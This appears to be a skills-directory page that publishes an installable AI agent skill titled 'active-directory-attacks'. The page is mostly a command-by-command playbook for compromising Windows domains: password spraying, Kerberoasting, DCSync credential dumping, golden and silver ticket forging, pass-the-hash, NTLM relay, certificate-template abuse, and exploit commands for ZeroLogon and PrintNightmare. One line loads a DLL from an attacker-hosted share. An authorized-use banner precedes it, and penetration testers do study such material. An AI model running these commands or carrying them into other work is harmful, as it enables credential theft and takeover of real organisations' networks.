A

Apiara

Find the right AI skills faster.

active-directory-attacks | Apiara Skills

Home/Explore/active-directory-attacks

Skill

sickn33/antigravity-awesome-skills31.1k

active-directory-attacks

"Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing."

$npx clawhub@latest install active-directory-attacks

GitHub

Overview

> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

# Active Directory Attacks

Purpose

Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.

Inputs/Prerequisites

Kali Linux or Windows attack platform
Domain user credentials (for most attacks)
Network access to Domain Controller
Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec

Outputs/Deliverables

Domain enumeration data
Extracted credentials and hashes
Kerberos tickets for impersonation
Domain Administrator access
Persistent access mechanisms

---

Essential Tools

| Tool | Purpose |

|------|---------|

| BloodHound | AD attack path visualization |

| Impacket | Python AD attack tools |

| Mimikatz | Credential extraction |

| Rubeus | Kerberos attacks |

| CrackMapExec | Network exploitation |

| PowerView | AD enumeration |

| Responder | LLMNR/NBT-NS poisoning |

---

Skill Info

Nameactive-directory-attacks

Reposickn33/antigravity-awesome-skills

Stars31.1k

Related Skills

Core Workflow

Step 1: Kerberos Clock Sync

Kerberos requires clock synchronization (±5 minutes):

```bash

# Detect clock skew

nmap -sT 10.10.10.10 -p445 --script smb2-time

# Fix clock on Linux

sudo date -s "14 APR 2024 18:25:16"

# Fix clock on Windows

net time /domain /set

# Fake clock without changing system time

faketime -f '+8h' <command>

```

Step 2: AD Reconnaissance with BloodHound

```bash

# Start BloodHound

neo4j console

bloodhound --no-sandbox

# Collect data with SharpHound

.\SharpHound.exe -c All

.\SharpHound.exe -c All --ldapusername user --ldappassword pass

# Python collector (from Linux)

bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all

```

Step 3: PowerView Enumeration

```powershell

# Get domain info

Get-NetDomain

Get-DomainSID

Get-NetDomainController

# Enumerate users

Get-NetUser

Get-NetUser -SamAccountName targetuser

Get-UserProperty -Properties pwdlastset

# Enumerate groups

Get-NetGroupMember -GroupName "Domain Admins"

Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member

# Find local admin access

Find-LocalAdminAccess -Verbose

# User hunting

Invoke-UserHunter

Invoke-UserHunter -Stealth

```

---

Credential Attacks

Password Spraying

```bash

# Using kerbrute

./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123

# Using CrackMapExec

crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success

```

Kerberoasting

Extract service account TGS tickets and crack offline:

```bash

# Impacket

GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt

# Rubeus

.\Rubeus.exe kerberoast /outfile:hashes.txt

# CrackMapExec

crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt

# Crack with hashcat

hashcat -m 13100 hashes.txt rockyou.txt

```

AS-REP Roasting

Target accounts with "Do not require Kerberos preauthentication":

```bash

# Impacket

GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat

# Rubeus

.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# Crack with hashcat

hashcat -m 18200 hashes.txt rockyou.txt

```

DCSync Attack

Extract credentials directly from DC (requires Replicating Directory Changes rights):

```bash

# Impacket

secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt

# Mimikatz

lsadump::dcsync /domain:domain.local /user:krbtgt

lsadump::dcsync /domain:domain.local /user:Administrator

```

---

Kerberos Ticket Attacks

Pass-the-Ticket (Golden Ticket)

Forge TGT with krbtgt hash for any user:

```powershell

# Get krbtgt hash via DCSync first

# Mimikatz - Create Golden Ticket

kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt

# Impacket

ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator

export KRB5CCNAME=Administrator.ccache

psexec.py -k -no-pass domain.local/Administrator@dc.domain.local

```

Silver Ticket

Forge TGS for specific service:

```powershell

# Mimikatz

kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt

```

Pass-the-Hash

```bash

# Impacket

psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH

wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH

smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH

# CrackMapExec

crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local

crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth

```

OverPass-the-Hash

Convert NTLM hash to Kerberos ticket:

```bash

# Impacket

getTGT.py domain.local/user -hashes :NTHASH

export KRB5CCNAME=user.ccache

# Rubeus

.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt

```

---

NTLM Relay Attacks

Responder + ntlmrelayx

```bash

# Start Responder (disable SMB/HTTP for relay)

responder -I eth0 -wrf

# Start relay

ntlmrelayx.py -tf targets.txt -smb2support

# LDAP relay for delegation attack

ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access

```

SMB Signing Check

```bash

crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt

```

---

Certificate Services Attacks (AD CS)

ESC1 - Misconfigured Templates

```bash

# Find vulnerable templates

certipy find -u user@domain.local -p password -dc-ip 10.10.10.10

# Exploit ESC1

certipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local

# Authenticate with certificate

certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

```

ESC8 - Web Enrollment Relay

```bash

ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

```

---

Critical CVEs

ZeroLogon (CVE-2020-1472)

```bash

# Check vulnerability

crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon

# Exploit

python3 cve-2020-1472-exploit.py DC01 10.10.10.10

# Extract hashes

secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass

# Restore password (important!)

python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD

```

PrintNightmare (CVE-2021-1675)

```bash

# Check for vulnerability

rpcdump.py @10.10.10.10 | grep 'MS-RPRN'

# Exploit (requires hosting malicious DLL)

python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll'

```

samAccountName Spoofing (CVE-2021-42278/42287)

```bash

# Automated exploitation

python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell

```

---

Quick Reference

| Attack | Tool | Command |

|--------|------|---------|

| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |

| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |

| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |

| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |

| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |

| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |

---

Constraints

**Must:**

Synchronize time with DC before Kerberos attacks
Have valid domain credentials for most attacks
Document all compromised accounts

**Must Not:**

Lock out accounts with excessive password spraying
Modify production AD objects without approval
Leave Golden Tickets without documentation

**Should:**

Run BloodHound for attack path discovery
Check for SMB signing before relay attacks
Verify patch levels for CVE exploitation

---

Examples

Example 1: Domain Compromise via Kerberoasting

```bash

# 1. Find service accounts with SPNs

GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10

# 2. Request TGS tickets

GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt

# 3. Crack tickets

hashcat -m 13100 tgs.txt rockyou.txt

# 4. Use cracked service account

psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10

```

Example 2: NTLM Relay to LDAP

```bash

# 1. Start relay targeting LDAP

ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access

# 2. Trigger authentication (e.g., via PrinterBug)

python3 printerbug.py domain.local/user:pass@target 10.10.10.12

# 3. Use created machine account for RBCD attack

```

---

Troubleshooting

| Issue | Solution |

|-------|----------|

| Clock skew too great | Sync time with DC or use faketime |

| Kerberoasting returns empty | No service accounts with SPNs |

| DCSync access denied | Need Replicating Directory Changes rights |

| NTLM relay fails | Check SMB signing, try LDAP target |

| BloodHound empty | Verify collector ran with correct creds |

---

Additional Resources

For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references/advanced-attacks.md](references/advanced-attacks.md).

When to Use

This skill is applicable to execute the workflow or actions described in the overview.

00-andruia-consultant

"Arquitecto de Soluciones Principal y Consultor Tecnológico de Andru.ia. Diagnostica y traza la hoja de ruta óptima para proyectos de IA en español."

'007'

Security audit, hardening, threat modeling (STRIDE/PASTA), Red/Blue Team, OWASP checks, code review, incident response, and infrastructure security for any project.

10-andruia-skill-smith

"Ingeniero de Sistemas de Andru.ia. Diseña, redacta y despliega nuevas habilidades (skills) dentro del repositorio siguiendo el Estándar de Diamante."

20-andruia-niche-intelligence

"Estratega de Inteligencia de Dominio de Andru.ia. Analiza el nicho específico de un proyecto para inyectar conocimientos, regulaciones y estándares únicos del sector. Actívalo tras definir el nicho."